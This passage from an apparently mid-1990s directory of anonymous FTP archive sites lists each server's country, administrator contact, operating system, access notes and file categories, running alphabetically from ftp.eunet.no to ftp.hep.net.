mirrors: sites relating to communication, mostly Internet software + and docs (gopher, MIME, RFCs, Wais, winsock, WWW) + +Site : ftp.eunet.no +Country: Norway +GMT : +1 +Date : 10-Sep-94 +Source : Perry.Rovers@kub.nl +Alias : slembe.eunet.no +Admin : ftp-admin@norway.eu.net +Organ : EUnet Norway +Server : http://www.eunet.no/archive.html +System : Unix +URL : ftp://ftp.eunet.no/ +Comment: transfers are logged +Files : docs; GNU; Internet Talk Radio (ITR); MS-DOS; networking; news; + security; TeX; text; Unix; vendors [?]; X11 + +Site : ftp.eunet.sk +Country: Slovakia +GMT : +1 +Date : 22-May-94 +Source : dlist@ora.com +Alias : sk2eu.eunet.sk +Admin : info@slovakia.eu.net +Organ : EUnet Slovakia (SK), Bratislava +Server : +System : Unix +URL : ftp://ftp.eunet.sk/ +Comment: access is logged; max. 256 users (517 total); also available through + gopher, WWW and FSP (2001); over 700Mb of software; +Files : CD-ROM (NLUUG CD-ROM: best public SW); EUNet SK; Internet Talk Radio; + Slackware; X11R6 + +Site : ftp.eunet.ro +Country: Romania +GMT : +1 +Date : 12-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : caesar.eunet.ro +Admin : +Organ : EUnet Romania (RO), Bucharest +Server : WWW +System : NeXTStep (NeXT 1.0) +URL : ftp://ftp.eunet.ro/ +Comment: probably still under construction (only 2 dirs, one of which (bbs) + is empty) +Files : WWW (.html files) + +Site : ftp.eur.nl +Country: Netherlands +GMT : +1 +Date : 16-May-94 +Source : Perry.Rovers@kub.nl +Alias : hob-rgw.eur.nl +Admin : +Organ : Erasmus Universiteit Rotterdam (Erasmus University Rotterdam), + Rotterdam, CC +Server : +System : Unix +URL : ftp://ftp.eur.nl/ +Comment: transfers are logged +Files : archie; database.happiness; dosutils; gopher; PC NFS; Trumpet; + Winsock + +Site : ftp.execpc.com +Country: USA +GMT : -6 +Date : 15-Dec-94 +Source : magnesum@ix.netcom.com (Paul Mason) {posting} +Alias : earth.execpc.com +Admin : help@execpc.com +Organ : EXEC PC +Server : +System : Unix +URL : ftp://ftp.execpc.com/ +Comment: max. 30 users +Files : A-Ware; custard; eberman; epic; hmh; info; Linux; Mac; magnesium; + matric; meek; night-owl; Windows + +Site : ftp.farallon.com +Country: USA +GMT : -8 +Date : 25-Jan-95 +Source : rbh@aol.net (Robert Hirsch) +Alias : +Admin : amy@farallon.com (Amy Roberts) +Organ : Farallon Computing Inc., Alameda, California +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.farallon.com/ +Comment: see index.txt for details; technical inquiries to + techsports@farallon.com +Files : Farallon product info, updates, drivers + +Site : ftp.fcs.uga.edu +Country: USA +GMT : -5 +Date : 15-Feb-95 +Source : +Alias : hestia.fcs.uga.edu +Admin : helpdesk@fcs.uga.edu +Organ : University of Georgia, Athens, Georgia, College of Family and + Consumer Sciences +Server : +System : Netware (Netware 3.11, PC fileserver) +URL : ftp://ftp.fcs.uga.edu/ +Comment: default directory: /SYS/PUBLIC/FTP +Files : MS-DOS (Mark Hazen's Virus Suite package [where?], misc. antivirus + software [old!]); Novell (netcb, rms, rmsites); OS/2 (nsuite); + skate; Windows (winsock) + +Site : ftp.fct.unl.pt +Country: Portugal +GMT : 0 +Date : 11-Mar-94 +Source : +Alias : zen.fct.unl.pt +Admin : admin@fct.unl.pt +Organ : UNL, , FCT +Server : +System : Unix +URL : ftp://ftp.fct.unl.pt/ +Comment: server supports compression on the fly +Files : adm; AIX; Atari; DEC; di; docs; eps; FCT; FCT airphotos; games; GNU; + humor; languages; Linux; lpnmr; Mac; MS-DOS; MS-Windows; mw; net; + news; NeXT; packages; people; Portugal; px; research; sys; tao-pub; + TeX; util; weather; X; zen-pub + +Site : ftp.fdn.fr +Country: France +GMT : +1 +Date : 15-Dec-94 +Source : ftp.informatik.uni-muenchen.de +Alias : ftp.fdn.org, leia.fdn.org +Admin : archive-admin@fdn.org +Organ : French Data Network, Paris +Server : +System : Unix (NeXTStep 3.2) +URL : ftp://ftp.fdn.fr/ +Comment: max. 5 users; transfers are logged; aliases for many directories, + try 'cd mac' in any directory +Files : Mac; NeXT (mirror from ftp.informatik.uni-muenchen.de) + +Site : ftp.fdu.edu +Country: USA +GMT : -5 +Date : 04-Jan-95 +Source : a3@a3.xs4all.nl (Adri Verhoef) {posting} +Alias : +Admin : +Organ : +Server : +System : Unix +URL : ftp://ftp.fdu.edu/ +Comment: patches for Taylor UUCP +Files : + +Site : ftp.fedworld.gov +Country: USA +GMT : -5 +Date : 23-May-94 +Source : +Alias : fedworld.gov +Admin : kroyer@fedworld.gov [guess this works] +Organ : FedWorld +Server : +System : PC fileserver (Novell Netware) +URL : ftp://ftp.fedworld.gov/ +Comment: access is ReadOnly; in MAIN you will find the file ALLFILES; *.LST + files give info about directories; max. 20 minutes; also through + BBS at 703-321-8020 (USA) +Files : a-dr-cmt; cals; cim; comments; commerce; ctn; d-rule; healthact; + healthrpt; jobs; media; nafta; nii; npr; ntis; ota-pres; p-dr-cmt; + patent; results; ruleinfo; s-cmts; s-draft; sat-images; sca; + teltrend; whitehouse + +Site : ftp.fee.vutbr.cz +Country: Czech Republic +GMT : +1 +Date : 23-Aug-94 +Source : ftp.xfree86.org +Alias : boco.fee.vutbr.cz +Admin : FTP-ADM@fee.vutbr.cz +Organ : Technical University of Brno, Brno, Faculty of EE and CS +Server : +System : Unix +URL : ftp://ftp.fee.vutbr.cz/ +Comment: max. 10 users; several mirrors: garbo.uwasa.fi, Simtel Software + Repository (temporarily removed) and others +Files : bible; books; docs; GNU; Hyper-G; languages; MS-DOS (Borland, + Buttonware, games, Garbo, McAfee, Novell, Pmail, Qdeck, Share, + Simtel, TCP/IP); networking (mirror from ftp.uu.net/networking: + AppleTalk, applic, archival, athena, cisco, fax, gopher, ident, + info-service, IP, isis, Lynx, mail, news, OSI, RPC, serial, terms, + UUCP, uumap, wais, WWW, x25); sources; systems (FreeBSD, Linux, + mach, NetBSD, SCO, Unixware); usenet (comp.sources.(d,games,misc, + postscript,unix,x)); X; X11; X11R5; X11R6; XFree86 (mirror from + ftp.xfree86.org) + +Site : ftp.fenk.wau.nl +Country: Netherlands +GMT : +1 +Date : 16-May-94 +Source : nl-ftp list as posted to nlnet.announce +Alias : metten.fenk.wau.nl +Admin : service@fenk.wau.nl +Organ : Landbouw Universiteit Wageningen (Wageningen Agricultural + University), Wageningen, Physical & Colloid Chemistry dept. +Server : +System : Unix +URL : ftp://ftp.fenk.wau.nl/ +Comment: transfers are logged; gopher: ftp.fenk.wau.nl; max. 60 users +Files : International Association of Colloid and Interface (IACI) scientists + info; mirrors: info-mac.stanford.edu, jagubox.gsfc.nasa.gov (Mac); + Linux (Slackware); Molecular Modelling progs bases on the + Scheutjens-Fleer theory; pceudora; popper; Simula/simed; Sun-fixes; + verman + +Site : ftp.fh-aalen.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-server List +Alias : ftp.rz.fh-aalen.de, noc.rz.fh-aalen.de +Admin : ftp-adm@fh-aalen.de +Organ : Fachhochschule Aalen (Aalen Polytechnical Institute), Aalen, + CC dept. +Server : +System : +URL : ftp://ftp.fh-aalen.de/ +Comment: +Files : + +Site : ftp.fh-konstanz.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Anonyme Deutsche FTP Server List +Alias : rz-uxazs.fh-konstanz.de +Admin : +Organ : Fachhochschule Konstanz (Konstanz Polytechnical Institute), Konstanz +Server : +System : +URL : ftp://ftp.fh-konstanz.de/ +Comment: +Files : + +Site : ftp.fh-lippe.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : uhura.noc.fh-lippe.de +Admin : ftp-adm@ftp.fh-lippe.de +Organ : Fachhochschule Lippe (Lippe Polytechnical Institute), Lippe/Lemgo, + NOC +Server : +System : +URL : ftp://ftp.fh-lippe.de/ +Comment: +Files : + +Site : ftp.fh-wolfenbuettel.de +Country: Germany +GMT : +1 +Date : 30-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : thorin.rz.fh-wolfenbuettel.de +Admin : ftp-admin@fh-wolfenbuettel.de +Organ : Fachhochschule Wolfenbuettel (Wolfenbuettel Polytechnical + Institute), Wolfenbuettel +Server : gopher, listserv and WWW +System : Unix +URL : ftp://ftp.fh-wolfenbuettel.de/ +Comment: +Files : alliance; archiver; Atari; audio; doc (Filter, Lyrics, O'Reilly, + Posix, SCSI); games; gametool; ghostscript; graphics; Khoros; + infosys; languages; Linux (Linus, Slackware, SLS, sunsite.unc.edu, + tsx-11.mit.edu); LPMUD; lyrics; magazine; MS-DOS; nethack; Netrek; + network; Oberon; parallel; shells; Simulation; Sun; TeX; Terminal; + TinyMUD; tools; Unix (games, PVM); WWW-FHWF; X11 (contrib, misc and + more misc) + +Site : ftp.fht-mannheim.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : ftp.rz.fht-mannheim.de, roxi.rz.fht-mannheim.de, + aix01.rz.fht-mannheim.de +Admin : mrex@aix01.rz.fht-mannheim.de (Martin Rex), duz@rz.fth-mannheim.de + (Dirk Zoller) +Organ : Fachhochschule der Technik Mannheim (Mannheim Polytechnical + Institute), Mannheim +Server : +System : +URL : ftp://ftp.fht-mannheim.de/ +Comment: +Files : 386BSD (from ftp.uni-stuttgart.de); AIX PC; BSD 4.3 src; Emtex PC; + Linux; MS-DOS (Simtel-20); MS-DOS games + (from ftp.urz.uni-heidelberg.de); OS/2 (comp.binaries.os2); PasTeX + (Amiga, from ftp.uni-passau.de); RS6000; Trumpet; + +Site : ftp.fi.upm.es +Country: Spain +GMT : +1 +Date : 08-Jun-94 +Source : Perry.Rovers@kub.nl +Alias : asterix.fi.upm.es +Admin : root@asterix.fi.upm.es +Organ : Technical University of Madrid (UPM), Telematica dept. (DIT) +Server : +System : Unix +URL : ftp://ftp.fi.upm.es/ +Comment: +Files : aix; amiga; archie; docs; faculty; gopher; MS-DOS; news; OS/2; + suit; Unix; VMS; X11 + +Site : ftp.fibronics.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : wega.fibronics.de +Admin : kunz@fibronics.de +Organ : Fibronics GmbH, Dietzenbach +Server : +System : Unix +URL : ftp://ftp.fibronics.de/ +Comment: +Files : FreeBSD; Linux; MS-DOS; MS-Windows; Software for Fibronics products + +Site : ftp.fidonet.org +Country: USA +GMT : -5 +Date : 15-May-94 +Source : nsadp@access.digex.net (National Standards Association) {posting} +Alias : zeus.ieee.org +Admin : +Organ : IEEE +Server : +System : Unix +URL : ftp://ftp.fidonet.org/ +Comment: uploads directory disabled due to hacking attempts; connections + from systems without reverse-nameservice will no longer be honored +Files : fidonet; gopherservers; hatch; InterNIC; MS-DOS; RFCs; Sunfixes; + Unix; UUCPmaps + +Site : ftp.firstnet.net +Country: USA +GMT : +Date : 29-Nov-94 +Source : tadams@firstnet.net (Todd Adams) {posting} +Alias : zen.firstnet.net +Admin : +Organ : FirstNet Information Services +Server : +System : Unix +URL : ftp://ftp.firstnet.net/ +Comment: +Files : FirstNet info; games; Windows + +Site : ftp.fletcher.tufts.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : stannenb@emerald.tufts.edu (Saul Tannenbaum); old ftp-list +Alias : jade.tufts.edu (old), emerald.tufts.edu (new) +Admin : +Organ : Tufts University, , , Computing and Communications Services +Server : +System : Unix +URL : ftp://ftp.fletcher.tufts.edu/ +Comment: +Files : encore multimax; Unix + +Site : ftp.flinders.oz.au +Country: Australia +GMT : +10 +Date : 18-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : pippin.cc.flinders.oz.au +Admin : +Organ : Flinders University +Server : +System : Unix +URL : ftp://ftp.flinders.oz.au/ +Comment: also ftp.flinders.edu.au +Files : Mac: CMET, Disinfectant, Fonts, Graphics, Netware, Network, Updates, + Utilities; PC: CMET, Fonts, Graphics, Netware, Network, Updates, + Utilities + +Site : ftp.fonorola.net +Country: Canada +GMT : +Date : 22-May-94 +Source : dlist@ora.com +Alias : nic.fonorola.net +Admin : +Organ : Fonorola +Server : +System : Unix +URL : ftp://ftp.fonorola.net/ +Comment: +Files : ca-domain; Fonorola; Internet Business Journal; Internet + information; Mac Gopher servers; networking; training; Usenet; + Veronica; WAIS-sources + +Site : ftp.france.eu.net +Country: France +GMT : +1 +Date : 22-May-94 +Source : Perry.Rovers@kub.nl +Alias : ftp.fnet.fr, indus.fnet.fr, indus.france.eu.net +Admin : +Organ : EUNet FR/FNet +Server : +System : Unix +URL : ftp://ftp.france.eu.net/ +Comment: +Files : AFUU-RESEAU; EUnet; Fnet; multimedia; PPP; Utopia + +Site : ftp.francenet.fr +Country: France +GMT : +1 +Date : 24-Jul-94 +Source : ollivier@dialup.francenet.fr (Ollivier Civiol) +Alias : adynaton.francenet.fr +Admin : ftpmaint@francenet.fr (archive), info@francenet.fr (commercial info) +Organ : FranceNet BBS +Server : +System : Unix +URL : ftp://ftp.francenet.fr/ +Comment: banners only in French; transfers are logged; max. 20 users +Files : cdrom; gopher; htdocs; mirrors (DOS: reseau, windows3 (demo, + drivers, programr), GNU); systems (Mac (TCP/IP), Unix (networking)); + wincode + +Site : ftp.frd.ac.za +Country: South Africa +GMT : 0 +Date : 15-Dec-94 +Source : scm@silver.wcap.school.za (Stephen Marquard) {posting} +Alias : apies.frd.ac.za +Admin : +Organ : Foundation for Research and Development +Server : gopher.frc.ac.za +System : Unix (SunOS 4.1) +URL : ftp://ftp.frd.ac.za/ +Comment: +Files : basic netutilities: Elm, GCC, Gopher, grep, gzip, INN, NN, patch, + +Site : ftp.freebsd.org +Country: USA +GMT : +Date : +Source : ftp.io.org +Alias : +Admin : +Organ : FreeBSD Project +Server : +System : +URL : ftp://ftp.freebsd.org/ +Comment: +Files : + +Site : ftp.frontiertech.com +Country: +GMT : +Date : 11-Mar-94 +Source : +Alias : bbs.frontiertech.com +Admin : +Organ : Frontier Technology +Server : +System : MS-DOS (PC) +URL : ftp://ftp.frontiertech.com/ +Comment: +Files : drivers; FAQs; patches; winsock + +Site : ftp.fsz.bme.hu +Country: Hungary +GMT : +1 +Date : 14-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : fix.fsz.bme.hu +Admin : ftpproblem@fsz.bme.hu +Organ : Technical University of Budapest, Budapest, Process Control dept. +Server : +System : Unix +URL : ftp://ftp.fsz.bme.hu/ +Comment: Problem: Failed to get host information [not yet considered obsolete] + max. 5 users; total 27 users; transfers are logged +Files : + +Site : ftp.ftp.com +Country: USA +GMT : -5 +Date : 22-May-94 +Source : admin; Perry.Rovers@kub.nl +Alias : talc.ftp.com +Admin : ftp-server-admin@ftp.com +Organ : FTP Software +Server : +System : Unix +URL : ftp://ftp.ftp.com/ +Comment: successor of vax.ftp.com +Files : FTP info & apps; FTPNUZ (/support/pubdom); packet drivers; Unix + software; other network related programs + +Site : ftp.fu-berlin.de +Country: Germany +GMT : +1 +Date : 10-Sep-94 +Source : Deutsche Anonyme FTP-Server List; admin +Alias : pascal.zedat.fu-berlin.de +Admin : ftp-adm@fu-berlin.de +Organ : Freie Universitaet Berlin (Free University of Berlin), Berlin +Server : +System : Unix (IRIX 5.2) +URL : ftp://ftp.fu-berlin.de/ +Comment: Open 24 hours; max. 300 users; supports on the fly (de)compression, + g(un)zipping, and tarring of directories +Files : Amiga; Atari; Deutsche Anonyme FTP-Server List; Documents: FAQs, + FYI, RFCs, etc...; ftp-sites; GATeway Orientierungs Ratgeber + (gator); maps; MSDOS: 4DOS, Telix, kermit, graphics, GNUish, mags, + networks, emTeX; Official FTP server: FAS, AmigaElm, elk, plan; + Postscript-maps; UUCP; Unix: GNU, graphics, mail, network, news, + misc tools + +Site : ftp.funet.fi +Country: Finland +GMT : +2 +Date : 14-Dec-94 +Source : old ftp-list; IRC-faq as posted to news.anwers +Alias : nic.funet.fi, funic.funet.fi +Admin : problems@ftp.funet.fi, msdos-adm@nic.funet.fi, + msdos1@nic.funet.fi (Petri Hartoma) +Organ : Finland University & Research Network (FUNET) NIC, Espoo +Server : +System : Unix (DEC AXP3000/900) [planned for '95] +URL : ftp://ftp.funet.fi/ +Comment: transfers are logged with hostname and whatever you entered for + password; max. 80 users; retrieval of top-level README + possible before logon; read README.FILETYPES for information on + the different filetypes; 320Mb memory, HSZ40 RAID controller; + this site is severely overloaded [as popular as wuarchive now] + number of allowed users is decreased; high network load causes + errors: retry when you get an error, don't bother the admin +Files : Amiga; Astro; Atari; cae; CBM; cryptography; Computer Underground + Digest (CuD) archives; csc; culture; docs; dx; FUNET; GNU; graphics; + ham-radio; IRC clients, GIFs of IRC and Relay people: + pub/pics/gif/pics/people/misc; kermit; languages; lyhty; Mac; Mach; + microprocs; Minix; MS-DOS; netinfo; networking; NeXT; org; OS/2; + pictures; sci; security docs and apps; Simtel20 mirror + (/pub/msdos/SimTel-mirror); Sony NeWS OS software; sounds; sports; + standards; Tao; Unix; VM; VMS; Windows, Windows NT + (ftp.cica.indiana.edu); X11; XFree86 (mirror from ftp.xfree86.org + under consideration) + +Site : ftp.fuw.edu.pl +Country: Poland +GMT : +1 +Date : 18-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : ccfs1.fuw.edu.pl +Admin : +Organ : Fizyki Uniwersytetu Warsawskiego (Warsaw University), Warsaw, + Physics dept. +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.fuw.edu.pl/ +Comment: +Files : arc+tar+compress; arj; cocos; documents; donosy; GNU; PC-DOS; + pictures; polish-TeX; ptf; security; SGI; Unix; WAIS; weather; WWW; X11 + +Site : ftp.fwi.uva.nl +Country: Netherlands +GMT : +1 +Date : 24-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : mail.fwi.uva.nl +Admin : +Organ : Universiteit van Amsterdam (University of Amsterdam), Amsterdam, + Faculteit Wiskunde en Informatice (FWI, Faculty of Mathematics and + Computer Science) +Server : +System : Unix +URL : ftp://ftp.fwi.uva.nl/ +Comment: +Files : cryptanalyse; acp94; functional; ic3a; illc; pimentel; scsi-doc; + scsi info; scsi ping; sion; Solaris; theopapa + +Site : ftp.fys.ruu.nl +Country: Netherlands +GMT : +1 +Date : 22-May-94 +Source : Perry.Rovers@kub.nl +Alias : ruunfs.fys.ruu.nl +Admin : +Organ : Rijks Universiteit Utrecht (Utrecht University), Utrecht, + Physics and Astronomy dept. +Server : +System : Unix +URL : ftp://ftp.fys.ruu.nl/ +Comment: uploads only by user community and relations of physics and + astronomy dept.; transfers are logged +Files : astronomy; fyilib; magazijn; vanbeijeren; vtools + + +Site : ftp.fzi.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : gate.fzi.de +Admin : ftpadm@fzi.de +Organ : FZI, Karlsruhe +Server : +System : Unix +URL : ftp://ftp.fzi.de/ +Comment: directory: /pub/OBST; server can (un)compress, gzip and tar; + uploads in /pub/*/incoming, please notify + @fzi.de of your uploads; accessible via + gopher through gopher.fzi.de; all filetransfers are logged +Files : OBST + +Site : ftp.gatech.edu +Country: USA +GMT : -5 +Date : 11-Mar-94 +Source : +Alias : merlin.gatech.edu +Admin : root@ftp.gatech.edu +Organ : Georgia Institute of Technology (GATECH), Atlanta, Georgia, + School of Literature Communications and Culture (LCC) +Server : +System : Unix +URL : ftp://ftp.gatech.edu/ +Comment: "Mastering the Internet" presentation in /pub/SHARE79 [which isn't + there ... strange] +Files : AI; angelle; coe; content; cwis; dos; Genemark; gsu2gt; lcc; Mac; + multicast; netinfo; OS/2; robotech; security; tar; Unix; virus; + Windows; WWW + +Site : ftp.genome.ad.jp +Country: Japan +GMT : +9 +Date : 19-Feb-95 +Source : Perry.Rovers@kub.nl +Alias : hitac.genome.ad.jp +Admin : +Organ : Genome Research Network +Server : +System : Unix +URL : ftp://ftp.genome.ad.jp/ +Comment: genome data base oriented info [and a mirror?] +Files : db; docs; GDB; HGC; NCBI; tools + +Site : ftp.germany.eu.net +Country: Germany +GMT : +1 +Date : 15-Dec-94 +Source : Deutsche Anonyme FTP-Server List; MODERxx.ZIP +Alias : simpson.germany.eu.net, itr.germany.eu.net +Admin : archive-admin@germany.eu.net (Ingo Dressler), + osadm@ftp.germany.eu.net (Holger Muenx, MS-DOS section) +Organ : German EUnet backbone, Dortmund +Server : archive-server@germany.eu.net, mail-server@germany.eu.net; + FSP: ftp.germany.eu.net 2001 gopher: gopher://gopher.germany.eu.net/ + WWW: http://www.germany.eu.net/ +System : Unix +URL : ftp://ftp.germany.eu.net/ +Comment: Open 24 hours; Gopher access: 7Gb; directories: /pub, /shop + (commercial software and data), /itr (Internet Talk Radio: for + EUnet customers only); for shop access, you may also login as + shopuser +Files : 386BSD; Amiga; archiver; Atari; benchmark; books; CT-Magazin; docs; + EUnet; GNU; GUUG; infosystems; IX-Magazin; Linux (sunsite.unc.edu); + mail; Motif; MS-DOS; Network docs; news; newsarchive; OS/2; + programming; RFCs; RIPE; sources and binaries for various systems; + X11 (official server) + +Site : ftp.gds.nl +Country: Netherlands +GMT : +1 +Date : 11-Jul-94 +Source : Perry.Rovers@kub.nl +Alias : gdsnl.gds.nl +Admin : +Organ : GDS +Server : +System : Unix +URL : ftp://ftp.gds.nl/ +Comment: +Files : GDS info; hold; Slackware + +Site : ftp.glocom.ac.jp +Country: Japan +GMT : +9 +Date : 22-May-94 +Source : Computer Underground Digest +Alias : www0.glocom.ac.jp +Admin : +Organ : Glocom +Server : +System : +URL : ftp://ftp.glocom.ac.jp/ +Comment: +Files : CuD archives; efj (IIJ info); ftp.eff.org mirror; glocom; + +Site : ftp.gmd.de +Country: Germany +GMT : +1 +Date : 19-Feb-95 +Source : Deutsche Anonyme FTP-Server List; admin +Alias : omega.gmd.de +Admin : ftpmaster@gmd.de (Juergen Christoffel) +Organ : Gesellschaft fuer Mathematik und Datenverarbeitung (German National + Research Center for Computer Science), Sankt Augustin +Server : +System : Unix +URL : ftp://ftp.gmd.de/ +Comment: see /info/README and /info/README.ftp for access policy; + directories: /gmd/gina, /if-archive/rec.arts.int-fiction, + /if-archive/rec.games.int-fiction; IP-reversable sites only; + transfers are logged; max. 128 users +Files : docs; events (ICLP94, ICSE18); GMD; GNU; icot (exper-apps, kbms-clp, + manuals, natural-lang, newsletter, solver-prover, symbolic-proc); + Interactive Fiction (IF) archive; images (Satellite: polar, + weather); ISO; languages (LISP); learning; lisp; Mac; + machine-learning; misc (md4, md5, OMG, parallel, wdr); music + (cd-catalogs, classical, indian classical, lists, musictex, + musixtex, mutex, scores); packages (ean, faces, foo, GNU, majordomo, + mirror, newswatcher, Sather, Tcl, wuarchive-ftpd, X11, X11R5, X11R6, + zsh); RWC; systems (IBM-PC (doc, MS-DOS, Windows3), Mac (books, + comm, sys.soft)); Usenet (alt.sources, alt.sources.patches, + comp.archives, comp.archives.admin, comp.lang.lisp, + comp.sources.bugs, comp.sources.games, comp.sources.mac, + comp.sources.misc, comp.sources.reviewed, comp.sources.sun, + comp.sources.unix, comp.sources.x, net.sources, news.answers, + recipes) + +Site : ftp.govt.washington.edu +Country: USA +GMT : -8 +Date : 25-Jan-94 +Source : mech@eff.org (Stanton McCandlish) {posting} +Alias : +Admin : +Organ : University of Washington, Seattle, Washington +Server : +System : Unix (Ultrix 4.1) +URL : ftp://ftp.govt.washington.edu/ +Comment: +Files : legislation.telecom; wutc (Alternative Form of Regulation) + +Site : ftp.greatcircle.com +Country: USA +GMT : -8 +Date : 23-Aug-94 +Source : PC NFS FAQ +Alias : mycroft.greatcircle.com +Admin : root@greatcircle.com +Organ : GreatCirle +Server : +System : Unix +URL : ftp://ftp.greatcircle.com/ +Comment: directory: /pub/firewalls.digest; some files to be mirrored on + ftp.sterling.com +Files : cap; cawx; firewalls digest; GreatCircle; majordomo; phonestation + +Site : ftp.gsfc.nasa.gov +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : old ftp-list +Alias : odftsrv.gsfc.nasa.gov, toybox.gsfc.nasa.gov +Admin : postmaster@gsfc.nasa.gov +Organ : NASA - Goddard Space Flight Center, Greenbelt, Maryland, + Network Support Group for Large Systems of the Center-wide + Networking Environment +Server : server does not support e-mail +System : Unix +URL : ftp://ftp.gsfc.nasa.gov/ +Comment: United Stated Government computer system : Unauthorized access to + this system is a FEDERAL OFFENSE; there are no comet pictures here; + files from toybox in directory TOYBOX, from gsfc in GSFC; + dftsrv.gsfc.nasa.gov is obsolete +Files : alex; email-info; ess-ftp; GSFC; help-files; hollis; images; info; + Internet; IP; Mac; MacSecure anti-virus pkg; nameserver; news; + Sun: dist, fixes, misc; tools; Ultrix; Unix; VMS; X + +Site : ftp.gsu.edu +Country: USA +GMT : -5 +Date : 23-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : gsusgi2.gsu.edu +Admin : +Organ : Georgia State University, , Georgia +Server : +System : Unix (Irix) +URL : ftp://ftp.gsu.edu/ +Comment: +Files : cgcr; MS-DOS; MS-Windows + +Site : ftp.gte.com +Country: USA +GMT : -5 +Date : 12-Feb-94 +Source : russell@alpha3.ersys.edmonton.ab.ca (Russell Schulz) {posting} +Alias : ceylon.gte.com +Admin : +Organ : GTE +Server : +System : Unix +URL : ftp://ftp.gte.com/ +Comment: +Files : docs; expecterm; ICMCS; logicraft fonts; Mosaic; POP; Sun-patches; + uqwk; zipnews + +Site : ftp.gu.edu.au +Country: Australia +GMT : +10 +Date : 11-Mar-94 +Source : fjw@train.fido.de {posting} +Alias : griffin.gu.edu.au +Admin : postmaster@gu.edu.au +Organ : Griffith University, Security Emergency Response Team (SERT) +Server : +System : Unix +URL : ftp://ftp.gu.edu.au/ +Comment: +Files : qps; rex; security; sendmail; smrsh; The Hessling Editor (THE) + macro package + +Site : ftp.gwdg.de +Country: Germany +GMT : +1 +Date : 10-Sep-94 +Source : Deutsche Anonyme FTP-Server List +Alias : gwdu03.gwdg.de +Admin : +Organ : , Goettingen +Server : +System : Unix (Ultrix 4.1) +URL : ftp://ftp.gwdg.de/ +Comment: +Files : Linux (Bogus release: mirror of phys-pc61.med.unc.edu, NIS/YP + Lysator stuff, mirrored from ftp.lysator.liu.se, sunsite.unc.edu) + +Site : ftp.gwu.edu +Country: USA +GMT : -5 +Date : 23-May-94 +Source : +Alias : elvis.gwu.edu +Admin : +Organ : George Washington University, Washington, District of Columbia +Server : +System : Unix +URL : ftp://ftp.gwu.edu/ +Comment: +Files : eecs; emworkshops; hoffman; instctsp; ramlab; ribarry; small-Ada + +Site : ftp.hab-weimar.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : gonzo.hab-weimar.de +Admin : ftpadmin@hrz.hab-weimar.de +Organ : HAB-Weimar, Weimar, CC +Server : +System : +URL : ftp://ftp.hab-weimar.de/ +Comment: +Files : GIF; graphics; MS-DOS; sound; Windows + +Site : ftp.hacktic.nl +Country: Netherlands +GMT : +1 +Date : 22-Mar-94 +Source : Perry.Rovers@kub.nl +Alias : xs4all.hacktic.nl, hacktic.nl +Admin : cor@hacktic.nl (Cor Bosman) +Organ : Hacktic Network Foundation, Amsterdam +Server : +System : Unix +URL : ftp://ftp.hacktic.nl/ +Comment: nothing here yet (maybe when they improve their link) +Files : + +Site : ftp.halcyon.com +Country: USA +GMT : -8 +Date : 30-Oct-94 +Source : old ftp-list +Alias : halcyon.com, supra.whnet.com, ftp.ii.com, ftp.tidbits.com +Admin : ralphs@halcyon.com (Ralph Simms) +Organ : Northwest NEXUS Inc., Bellevue, Washington +Server : archive-server@halcyon.com, in text of message put 'help'; FSP; + anonymous UUCP through remote.halcyon.com +System : Unix +URL : ftp://ftp.halcyon.com/ +Comment: specialized in Waffle, Off-line mail/news-readers etc.; read + 00-README +Files : activism; alt.missing-kids.gifs; artcrit; books; Computer + Underground Digest (CuD) archives; esdl; etext; Eudora; faf; fluke; + FWDP; FX (UUCICO/UUCP); go; handicap; HUG; ii (Infinite Ink); ITR; + jargon; mirrors (etext: mrcnext.cso.uiuc.edu, Linux); North West + Nexus; Pink Floyd; Raosoft; recipes; RKBA; seabird; SLIP; Supra; + Tidbits (TIA); tiskwin; Waffle; wuarchive + +Site : ftp.halsoft.com +Country: USA +GMT : -7 +Date : 15-Dec-94 +Source : lang@hal.com (Tom Lang) +Alias : halsoft.com +Admin : +Organ : HaL Software Systems, Austin, Texas +Server : +System : Unix +URL : ftp://ftp.halsoft.com/ +Comment: +Files : HaLsoft products: Ishmail (Information SuperHighway Mail); OpenWin + +Site : ftp.hamburg.germany.eu.net +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : pophh.hamburg.germany.eu.net, mcshh.hanse.de +Admin : postmaster@hamburg.germany.eu.net +Organ : Point Of Presence (POP) GmbH, Hamburg +Server : +System : +URL : ftp://ftp.hamburg.germany.eu.net/ +Comment: +Files : + +Site : ftp.hawaii.edu +Country: USA +GMT : -10 +Date : 06-Jan-94 +Source : old ftp-list +Alias : util.uhcc.hawaii.edu +Admin : +Organ : University of Hawaii, Hawaii, USA, CC +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.hawaii.edu/ +Comment: +Files : Amiga; MS-DOS; Mac; others + +Site : ftp.health.org +Country: USA +GMT : +Date : 24-Jul-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : +Server : +System : Unix (Linux) +URL : ftp://ftp.health.org/ +Comment: +Files : DOS, MAC, UNIX and WP text files relating to all kinds of health + issues (alcoholism, child abuse, drugs, etc.) + +Site : ftp.hep.net +Country: USA +GMT : -6 +Date : 22-May-94 +Source : dlist@ora.com +Alias : afs1.hep.net +Admin : +Organ : High Energy Physics Network, NIC +Server : +System : 